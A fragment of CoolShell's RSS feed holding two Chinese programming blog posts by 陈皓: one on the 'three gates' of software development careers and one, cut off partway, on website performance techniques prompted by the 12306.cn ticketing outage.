href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6548.html\">Why C++ ? 王者归来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6548.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>145</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>软件开发的“三重门”</title>\n\t\t<link>https://coolshell.cn/articles/6526.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6526.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 30 Jan 2012 03:00:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6526</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>自从上次写了“程序员技术练级攻略” 以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术，还是做业务。这问题让我思考了很多...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6526.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6526.html\">软件开发的“三重门”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>自从上次写了“<a title=\"程序员技术练级攻略\" href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\">程序员技术练级攻略</a>” 以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术，还是做业务。这问题让我思考了很多，不由自主地回顾了一 下我这十多年的软件开发经历，并顺着整理分类了一下自己解决过的若干问题，还发散想了很多，经过了一个春节假期的发酵，产生了下面这篇文章。</p>\n<h4>前言</h4>\n<p>这篇文章必然是通过我的个人经历来写的。所以，我先说说个人经历吧。我的经历基本分成三个阶段。</p>\n<p><strong>第一阶段：</strong>我 刚毕业时在家乡的某银行工作，做些银行的业务系统，还搞些网络，电子邮件系统，OA什么的，因为大四的时候在老师的公司里实习，银行里的人际关系太复杂， 而且技术都包给了产商，所以在银行的每一天都觉得不能适应里面的工作环境。两年后离职，单位分的房也不要了，直接去了上海，在上海呆了两年，本来想做互联 网的，但是泡沫来了，最终去了一家做系统集成的国企公司还是继续做银行业务。这四年来，主要解决的都是一些业务上的问题，银行里的会计业务，OA业务，国 际业务，中间对公业务都非常地复杂，而且因为当时的软件开发相当的不规范，所以基本上是在一种比较混乱的状态下度过的，而银行方面又很强势，所以，这段时 间主要是做业务。所以，技术上主要是积累了如何使用那些技术。C+/Java， Windows编程，Unix编程，网络编程主要是这段时间学的，看了太多的书（我大学课程里没有C++和Java，也没有Windows/Unix和网 络编程，所以，只能拼命地看书和自学）。</p>\n<p><strong>第二阶段：</strong>然后，我来了北京，到了一家做分布式计算系统的公 司，整天和一个高性能技术高可用性的企业级的集群式的软件产品打交道（这家公司去年被IBM收购了），在这家公司把Windows/Unix和网络编程有 了更深入的了解，对我长进比较大的是明白了怎么做一个性能高，可用性高的集群式的系统，天天和底层打交道，干了4年多。然后去了一家金融信息公司，这家金 融公司主要做全球的金融信息数据处理，而我主要还是做核心数据发布系统的性能调优的项目，金融数据的实时性要求的高，数据量非常地大，高可用性要求得高， 得想尽一切办法省网络带宽，增加系统性能，还要保持高的可用性，不当机，不丢包。又干了4年多，入职的时候从国外接过来两个系统，其性能单机每秒可处理 120K message，我走的时候，我和团队把其优化到了每秒1.4M messages 的吞吐，另一个系统，从接手时的100k message/s优化到了500k message/s。这八年多的时候，全是在和这些高计算高性能的项目打交量，几乎没有什么业务，都是纯技术，积累到了很多和性能有关的高并发高计算系统 架构级的知识。</p>\n<p><span id=\"more-6526\"></span></p>\n<p><strong>第三阶段：</strong>两 年前来到了现在的做电子商务的互联网公司，还是在做一个数据处理量很大的业务系统，因为要干的是要把电子商务全球化的东西。但是，因为电子商 务的特殊性，必需要去兼顾业务的特点，而且在这家电商公司，耳读目染了很多有趣的业务难题，比如，库存计划，配送优化，等等。虽然很多东西还不明白，但发 现，用技术来解决业务难题真是太有意思了。</p>\n<p>我的这三个阶段，第一个阶段花了4年，第二个阶段花了8年，第三阶段刚刚开始2年不到，有时候我也去别的公司讲课，所以，我很有幸经历了中国软件开发的进化过程。<strong>我的经历可以说是中国软件行业进程的一个缩影，而我把这三个阶段称为</strong>——<strong>软件开发的三重门</strong>。它们分别是：</p>\n<ul>\n<li><strong>业务功能 &#8211; </strong>粗放地开垦<strong><br />\n</strong></li>\n<li><strong>业务性能 &#8211; </strong>扩大化生产<strong><br />\n</strong></li>\n<li><strong>业务智能 &#8211; </strong>精耕细作<strong><br />\n</strong></li>\n</ul>\n<p>之所以加上“业务”二字，是因为我以为计算机是一个工具，其用来解决实际问题，所以，什么都离不开业务，就算是性能优化也一样，通过之前那篇“<a title=\"由12306.cn谈谈网站性能技术\" href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\">12306.cn的性能优化</a>”中的“业务分析”段落，我们可以知道业务的不同，系统的难度和解决方法就可以不同。所以，我们总是用技术在解决业务问题。<strong>业务的形态对软件的开发有决定性的作用</strong>。</p>\n<p>下面让我具体描述一下。</p>\n<h4>一重门：业务功能</h4>\n<p>这 是软件开发的第一重门，也就是掌握可以实现业务功能的技术。通常分成三块：语言+系统+数据处理。在这个阶段，主要是能掌握各种技术，比如：开发用的各种 工具（如：IDE，XUnit，Debugger，等），各种代码库和框架（如：C++的STL，ACE，Boost，等，Java的 Spring，Hibernate等），各种系统知识（如：Windows API，Unix/Linux API，TCP/IP，Socket，多线程多进程间的同步、互斥，并发安全，还包括Web平台，移动平台，等等），还需要掌握数据处理的知识（如：数据 结构，基本算法，数据库设计，数据库引擎 ，SQL等），等等……</p>\n<p>这个阶段主要是把这些不同的技术组织成可以实现业务功能的解决方案。重点是能掌握和使用技术。很多流程和方法论的东西基本上就在这一重门里。<strong>这重门主要解决的是业务实现问题</strong>。</p>\n<h4>二重门：业务性能</h4>\n<p>业务的功能搞定了以后，就是业务的性能问题了。搞定功能并不难，搞定性能是有点技术含量的事。有句话不是那么说的吗——<strong>每个人都可以搞一个网站出来，但不是每个人都能搞出能支持百万级访问量的网站</strong>。但是，我看到很多技术团队或是工程师脱离了业务，只单纯地搞性能，比如：单台服务器支持10万个TCP链接的并发，等等。这些东西虽然在技术上有点意思，但是没有业务的环境，也只能是自娱自乐了。</p>\n<p>我们可以看到一些企业开始注重这个问题了，性能问题也是最近被大家讨论得最多的问题，京东商场的性能问题，12306的性能问题，等等。</p>\n<p>当然，<strong>所谓性能不并单单指系统的吞吐力，还指系统运行时的总体性能</strong>，比如，系统安全性能，易用性能，系统的Accessbility的性能，系统的扩展性性能，等等，就像是前段时间“<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\">Web开发中需要注意的问题</a>”一文中谈到的那些事一样。这表明着你对系统的全面和深入的了解。</p>\n<p>在 这个阶段，需要对业务模型，数据流，业务流，系统架构，算法，和各种技术有深入的了解，要了解到本质上来。比如，在第一重门中，我们只需同要知 道，Java有同步关键字，在这一重门中，我们还要知道同步或互斥对性能的巨大伤害性，在第一重门中，我们只需要知道STL中的智能指针或是STL的用 法，这一重门中，我们还要知道智能指针中的refcnt的同步加锁对性能的损害，还需要知道STL中容器的size()方法在某些时候是性能很差的。在第 一重门中，我们需要知道hash表的效率，在这一重门中，我们还需要知道<a title=\"Hash Collision DoS 问题\" href=\"https://coolshell.cn/articles/6424.html\" target=\"_blank\">hash表的碰撞问题</a>。</p>\n<p>最重要的是，<strong>在这重门重点是软件的设计问题</strong>。你需要有足够多的经验能比较不同设计方案的优缺点，比如TCP和UDP，同步和异步，epoll和select，push和pull，水平扩展的各种方案…… 还记得本站的那篇“<a title=\"程序员的谎谬之言还是至理名言？\" href=\"https://coolshell.cn/articles/4235.html\" target=\"_blank\">程序员的谎谬之言还是至理名言</a>”，广度是你深度的副产品。所以，这重门是看你的技术视野有多深有多广。</p>\n<h4>三重门：业务智能</h4>\n<p>这 重门可能是最难的一重门了，如果你能进到这重门里，你应该是科学家级的程序员了。让你有智能的业务，这个事可能是顶级的技术难题了。第一和第二重门都不算 难，这重门是最难的。参看Amazon的个性化推荐系统，或是Google搜索引擎的结果个性化推荐等等（比如我输入“黑天鹅”关键字，你怎么知道我要找 的是动物，电影，音乐，还是本书？怎么让搜索出来的结果排名即公正又可个性？），你就知道，用技术来解决这种类似的问题难度可想而知，不然就不会出现如 Hadoop之类的技术了。</p>\n<p>我再举两个这重门里的业务方面的例子。</p>\n<ul>\n<li>一个例子是关于库存计划的，需要像天气预报一样 预测未来的销售量从而决定库存，所以，最简单的做法是，监测各个商品的销售统计，然后看一下最近的销售趋势，还要看一下往年的销售趋势（因为某些节假日会 是一个高峰期），还要分析一下大众的喜好变化，比如，在某影评网站上的某电影的热度其会告诉我哪个电影的DVD要滞销了，得打折卖，哪个电影的DVD要畅 销了，得多进货了。还可能需要监控新闻评论，比如某权威人士推荐了某个商品，那么我得赶快进货了。等等。这完全就是一门科学。</li>\n</ul>\n<ul>\n<li>还有一个例子是配送问题。我有一辆卡车要处理我仓库和配送站间的物流问题，我需要找到一条最经济的路线来在有限的时间内处理最多的物流。这个不是最短路径问题，这是个计划统筹学的东西。也是一门科学。</li>\n</ul>\n<p>还有近期“方韩之争”里有很多人来分析文章相似度的技术，这些东西都属于三重门里的东西。</p>\n<p>到了这重门里，可能技术反而不是重要的了，而是数学模型。<strong>这重门里主要是业务模型，数据模型和算法问题</strong>。这些东西和你的业务模型密切相关。能解决这样的问题，是真正的大牛。对于我来说，可能是高山仰止了。</p>\n<h4>后记</h4>\n<p>通过上面的说明，我们可以看到下面这些东西，</p>\n<ul>\n<li>我的那篇“<a title=\"程序员技术练级攻略\" href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\">程序员技术练级攻略</a>”里的东西只能让我们最多达到1.1 到 1.2重门。</li>\n</ul>\n<ul>\n<li>一重门像是开垦荒地，二重门像是扩大生产，三重门像是精耕细作。</li>\n</ul>\n<ul>\n<li>一重门（业务实现）里聚集着大量的劳动密集型的企业，劳动密集型的企业通常都需要流程和方法论。敏捷过程改进这类的东西只在一重门里。</li>\n</ul>\n<ul>\n<li>二重门和三重门里只有少数不多的技术型的公司。这类的公司通常非常注重技术，并且是企业文化是工程师的文化。</li>\n</ul>\n<ul>\n<li>三重门里可以产生的创新和那些可以用来改变世界的技术。</li>\n</ul>\n<ul>\n<li>国内现在的情况是，一重门优化阶段 + 二重门的学习阶段。三重门里似乎还没有什么见术。不过，我看到一些公司已在尝试三重门的东西了。</li>\n</ul>\n<ul>\n<li>作为技术人员的你，如果你想跟上时代，让自己有价值的话，你至少要达到二重门。</li>\n</ul>\n<ul>\n<li>因 为国内的技术环境等不良因素，导致大量的程序员在一重门的时候就已经失去信心，或被大浪淘沙淘掉了，所以，二重门里的程序员比较少了，但是随着年轻的一代 和技术的日趋成熟，也会慢慢多起来的，我现在已经看到这个趋势了。而三重门里的程序员成了稀缺的大熊猫。因为大量的二重门程序员干到那个时候都转管理了。</li>\n</ul>\n<p><strong>我的这些言论不一定对，但希望能让大家有启发，有所思考。</strong></p>\n<p><strong>注</strong>：本来这篇文章的标题想取成“<strong>程序员要解决的三种问题</strong>”， 但是因为过年都在关注 “方韩之争”，所以，干脆取成了这个名字。你可以认为我比较调皮，也可以认为我爱ZB，还可以认为我标题党，反正，请随意理解。（这篇文章是我的自己写 的，没有代笔，因为你一定会在这篇文章中看到属于我的用五笔打出来的错别字，当然，我无法自证，哈哈）</p>\n<p>（<span style=\"color: #cc0000;\"><strong>转载时请注明作者和出处，请勿用于商业用途</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6526.html\">软件开发的“三重门”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6526.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>115</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>由12306.cn谈谈网站性能技术</title>\n\t\t<link>https://coolshell.cn/articles/6470.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6470.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Jan 2012 00:20:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[12306.cn]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[eComm]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6470</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的问题。因为仓促，而且完全基于本人有限的经验和了解，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6470.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的问题。因为仓促，而且完全基于本人有限的经验和了解，所以，如果有什么问题还请大家一起讨论和指正。（这又是一篇长文，只讨论性能问题，不讨论那些UI，用户体验，或是是否把支付和购票下单环节分开的功能性的东西）</p>\n<h4>业务</h4>\n<p>任何技术都离不开业务需求，所以，要说明性能问题，首先还是想先说说业务问题。</p>\n<ul>\n<li><strong>其一</strong>，<strong>有人可能把这个东西和QQ或是网游相比</strong>。但我觉得这两者是不一样的，网游和QQ在线或是登录时访问的更多的是用户自己的数据，而订票系统访问的是中心的票量数据，这是不一样的。不要觉得网游或是QQ能行你就以为这是一样的。网游和QQ 的后端负载相对于电子商务的系统还是简单。</li>\n</ul>\n<ul>\n<li><strong>其二</strong>，<strong>有人说春节期间订火车的这个事好像网站的秒杀活动</strong>。的确很相似，但是如果你的思考不在表面的话，你会发现这也有些不一样。火车票这个事，一方面会伴随着大量的查询操作，更BT的是下单的时候需要对数据库很多的一致性的操作，一方面是从起点到终点各个分段票的一致性，另一方面，买的人路线、车次、时间选择有很多，会不停地改变下单方式。而秒杀，直接杀就好了，没有那么多查询和一致性的问题。另外，关于秒杀，完全可以做成只接受前N个用户的请求（完全不操作后端的任何数据， 仅仅只是对用户的下单操作log），这种业务，只需要在内存cache中放好可秒杀的数量，还可以把数据分布开来放，100商品，10台服务器一台放10个，无需在当时操作任何数据库。可以订单数够后，停止秒杀，然后批量写数据库。而且秒杀的商品不多。火车票这个不是像秒杀那么简单的，春运时间，几乎所有的票都是热门票，而且几乎是全国人民都来了，而且还有转车业务，多条线的库存都要做事务操作，你想想吧，这有多难。（淘宝的双十一也就3百万用户，而火车票瞬时有千万级别甚至是亿级别的）（<strong>更新：2014年1月11日</strong>：来了淘宝后，对淘宝的系统有了解，淘宝的秒杀活动，本质上是用输验证码并在CDN上把用户直接过滤掉了，比如：1千万个用户过滤了只剩2万个用户，这样数据库就顶得住了）</li>\n</ul>\n<ul>\n<li><strong>其三</strong>，<strong>有人拿这个系统和奥运会的票务系统比较</strong>。我觉得还是不一样。虽然奥运会的票务系统当年也一上线就废了。但是奥运会用的是抽奖的方式，也就是说不存在先来先得的抢的方式，而且，是事后抽奖，事前只需要收信息，事前不需要保证数据一致性，没有锁，很容易水平扩展。</li>\n</ul>\n<ul>\n<li><strong>其四</strong>，<strong>订票系统应该和电子商务的订单系统很相似</strong>，都是需要对库存进行：1）占住库存，2）支付（可选），3）扣除库存的操作。这个是需要有一致性的检查的，也就是在并发时需要对数据加锁的。B2C的电商基本上都会把这个事干成异步的，也就是说，你下的订单并不是马上处理的，而是延时处理的，只有成功处理了，系统才会给你一封确认邮件说是订单成功。我相信有很多朋友都收到认单不成功的邮件。<strong>这就是说，数据一致性在并发下是一个瓶颈</strong>。</li>\n</ul>\n<p><span id=\"more-6470\"></span></p>\n<ul>\n<li><strong>其五</strong>，<strong>铁路的票务业务很变态</strong>，其采用的是突然放票，而有的票又远远不够大家分，所以，大家才会有抢票这种有中国特色的业务的做法。于是当票放出来的时候，就会有几百万人甚至上千万人杀上去，查询，下单。几十分钟内，一个网站能接受几千万的访问量，这个是很恐怖的事情。<a href=\"http://www.linuxso.com/architecture/17006.html\" target=\"_blank\">据说12306的高峰访问是10亿PV</a>，集中在早8点到10点，每秒PV在高峰时上千万。</li>\n</ul>\n<p>多说几句：</p>\n<ul>\n<li><strong>库存是B2C的恶梦，库存管理相当的复杂</strong>。不信，你可以问问所有传统和电务零售业的企业，看看他们管理库存是多么难的一件事。不然，就不会有那么多人在问凡客的库存问题了。（你还可以看看《乔布斯传》，你就知道为什么Tim会接任Apple的CEO了，最主要的原因是他搞定了苹果的库存周期问题）</li>\n</ul>\n<ul>\n<li><strong>对于一个网站来说，浏览网页的高负载很容易搞定，查询的负载有一定的难度去处理，不过还是可以通过缓存查询结果来搞定，最难的就是下单的负载</strong>。因为要访问库存啊，对于下单，基本上是用异步来搞定的。去年双11节，淘宝的每小时的订单数大约在60万左右，京东一天也才能支持40万（居然比12306还差），亚马逊5年前一小时可支持70万订单量。可见，下订单的操作并没有我们相像的那么性能高。</li>\n</ul>\n<ul>\n<li><strong>淘宝要比B2C的网站要简单得多，因为没有仓库</strong>，所以，不存在像B2C这样有N个仓库对同一商品库存更新和查询的操作。下单的时候，B2C的 网站要去找一个仓库，又要离用户近，又要有库存，这需要很多计算。试想，你在北京买了一本书，北京的仓库没货了，就要从周边的仓库调，那就要去看看沈阳或 是西安的仓库有没有货，如果没有，又得看看江苏的仓库，等等。淘宝的就没有那么多事了，每个商户有自己的库存，库存就是一个数字，并且库存分到商户头上了，反而有利于性能扩展。</li>\n</ul>\n<ul>\n<li><strong>数据一致性才是真正的性能瓶颈</strong>。有 人说nginx可以搞定每秒10万的静态请求，我不怀疑。但这只是静态请求，理论值，只要带宽、I/O够强，服务器计算能力够，并支持的并发连接数顶得住10万TCP链接的建立 的话，那没有问题。但在数据一致性面前，这10万就完完全全成了一个可望不可及的理论值了。</li>\n</ul>\n<p>我说那么多，我只是想从业务上告诉大家，我们需要从业务上真正了解春运铁路订票这样业务的变态之处。</p>\n<h4>前端性能优化技术</h4>\n<p>要解决性能的问题，有很多种常用的方法，我在下面列举一下，我相信12306这个网站使用下面的这些技术会让其性能有质的飞跃。</p>\n<h5>一、前端负载均衡</h5>\n<p>通过DNS的负载均衡器（一般在路由器上根据路由的负载重定向）可以把用户的访问均匀地分散在多个Web服务器上。这样可以减少Web服务器的请求负载。因为http的请求都是短作业，所以，可以通过很简单的负载均衡器来完成这一功能。最好是有CDN网络让用户连接与其最近的服务器（CDN通常伴随着分布式存储）。（关于负载均衡更为详细的说明见“后端的负载均衡”）</p>\n<h5>二、减少前端链接数</h5>\n<p>我看了一下12306.cn，打开主页需要建60多个HTTP连接，车票预订页面则有70多个HTTP请求，现在的浏览器都是并发请求的（当然，浏览器的一个页面的并发数是有限的，但是你挡不住用户开多个页面，而且，后端服务器TCP链接在前端断开始，还不会马上释放或重要）。所以，只要有100万个用户，就有可能会有6000万个链接（访问第一次后有了浏览器端的cache，这个数会下来，就算只有20%也是百万级的链接数），太多了。一个登录查询页面就好了。把js打成一个文件，把css也打成一个文件，把图标也打成一个文件，用css分块展示。把链接数减到最低。</p>\n<h5>三、减少网页大小增加带宽</h5>\n<p>这个世界不是哪个公司都敢做图片服务的，因为图片太耗带宽了。现在宽带时代很难有人能体会到当拨号时代做个图页都不敢用图片的情形（现在在手机端浏览也是这个情形）。我查看了一下12306首页的需要下载的总文件大小大约在900KB左右，如果你访问过了，浏览器会帮你缓存很多，只需下载10K左右的文件。但是我们可以想像一个极端一点的案例，1百万用户同时访问，且都是第一次访问，每人下载量需要1M，如果需要在120秒内返回，那么就需要，1M * 1M /120 * 8 = 66Gbps的带宽。很惊人吧。所以，我估计在当天，12306的阻塞基本上应该是网络带宽，所以，你可能看到的是没有响应。后面随着浏览器的缓存帮助12306减少很多带宽占用，于是负载一下就到了后端，后端的数据处理瓶颈一下就出来。于是你会看到很多http 500之类的错误。这说明后端服务器垮了。</p>\n<h5>四、前端页面静态化</h5>\n<p>静态化一些不常变的页面和数据，并gzip一下。<del>还有一个变态的方法是把这些静态页面放在/dev/shm下，这个目录就是内存，直接从内存中把文件读出来返回，这样可以减少昂贵的磁盘I/O</del>。使用nginx的sendfile功能可以让这些静态文件直接在内核心态交换，可以极大增加性能。</p>\n<h5>五、优化查询</h5>\n<p>很多人查询都是在查一样的，完全可以用反向代理合并这些并发的相同的查询。这样的技术主要用查询结果缓存来实现，第一次查询走数据库获得数据，并把数据放到缓存，后面的查询统统直接访问高速缓存。为每个查询做Hash，使用NoSQL的技术可以完成这个优化。（这个技术也可以用做静态页面）</p>\n<p>对于火车票量的查询，个人觉得不要显示数字，就显示一个“有”或“无”就好了，这样可以大大简化系统复杂度，并提升性能。把查询对数据库的负载分出去，从而让数据库可以更好地为下单的人服务。</p>\n<h5>六、缓存的问题</h5>\n<p>缓存可以用来缓存动态页面，也可以用来缓存查询的数据。缓存通常有那么几个问题：</p>\n<p>1）缓存的更新。也叫缓存和数据库的同步。有这么几种方法，一是缓存time out，让缓存失效，重查，二是，由后端通知更新，一量后端发生变化，通知前端更新。前者实现起来比较简单，但实时性不高，后者实现起来比较复杂 ，但实时性高。</p>\n<p>2）缓存的换页。内存可能不够，所以，需要把一些不活跃的数据换出内存，这个和操作系统的内存换页和交换内存很相似。FIFO、LRU、LFU都是比较经典的换页算法。相关内容参看<a href=\"http://en.wikipedia.org/wiki/Cache_algorithms\" target=\"_blank\">Wikipeida的缓存算法</a>。</p>\n<p>3）缓存的重建和持久化。缓存在内存，系统总要维护，所以，缓存就会丢失，如果缓存没了，就需要重建，如果数据量很大，缓存重建的过程会很慢，这会影响生产环境，所以，缓存的持久化也是需要考虑的。</p>\n<p>诸多强大的NoSQL都很好支持了上述三大缓存的问题。</p>\n<h4>后端性能优化技术</h4>\n<p>前面讨论了前端性能的优化技术，于是前端可能就不是瓶颈问题了。那么性能问题就会到后端数据上来了。下面说几个后端常见的性能优化技术。</p>\n<h5>一、数据冗余</h5>\n<p>关于数据冗余，也就是说，把我们的数据库的数据冗余处理，也就是减少表连接这样的开销比较大的操作，但这样会牺牲数据的一致性。风险比较大。很多人把NoSQL用做数据，快是快了，因为数据冗余了，但这对数据一致性有大的风险。这需要根据不同的业务进行分析和处理。（注意：用关系型数据库很容易移植到NoSQL上，但是反过来从NoSQL到关系型就难了）</p>\n<h5>二、数据镜像</h5>\n<p>几乎所有主流的数据库都支持镜像，也就是replication。数据库的镜像带来的好处就是可以做负载均衡。把一台数据库的负载均分到多台上，同时又保证了数据一致性（Oracle的SCN）。最重要的是，这样还可以有高可用性，一台废了，还有另一台在服务。</p>\n<p>数据镜像的数据一致性可能是个复杂的问题，所以我们要在单条数据上进行数据分区，也就是说，把一个畅销商品的库存均分到不同的服务器上，如，一个畅销商品有1万的库存，我们可以设置10台服务器，每台服务器上有1000个库存，这就好像B2C的仓库一样。</p>\n<h5>三、数据分区</h5>\n<p>数据镜像不能解决的一个问题就是数据表里的记录太多，导致数据库操作太慢。所以，把数据分区。数据分区有很多种做法，一般来说有下面这几种：</p>\n<p>1）把数据把某种逻辑来分类。比如火车票的订票系统可以按各铁路局来分，可按各种车型分，可以按始发站分，可以按目的地分……，反正就是把一张表拆成多张有一样的字段但是不同种类的表，这样，这些表就可以存在不同的机器上以达到分担负载的目的。</p>\n<p>2）把数据按字段分，也就是竖着分表。比如把一些不经常改的数据放在一个表里，经常改的数据放在另外多个表里。把一张表变成1对1的关系，这样，你可以减少表的字段个数，同样可以提升一定的性能。另外，字段多会造成一条记录的存储会被放到不同的页表里，这对于读写性能都有问题。但这样一来会有很多复杂的控制。</p>\n<p>3）平均分表。因为第一种方法是并不一定平均分均，可能某个种类的数据还是很多。所以，也有采用平均分配的方式，通过主键ID的范围来分表。</p>\n<p>4）同一数据分区。这个在上面数据镜像提过。也就是把同一商品的库存值分到不同的服务器上，比如有10000个库存，可以分到10台服务器上，一台上有1000个库存。然后负载均衡。</p>\n<p>这三种分区都有好有坏。最常用的还是第一种。数据一旦分区，你就需要有一个或是多个调度来让你的前端程序知道去哪里找数据。<strong>把火车票的数据分区，并放在各个省市，会对12306这个系统有非常有意义的质的性能的提高<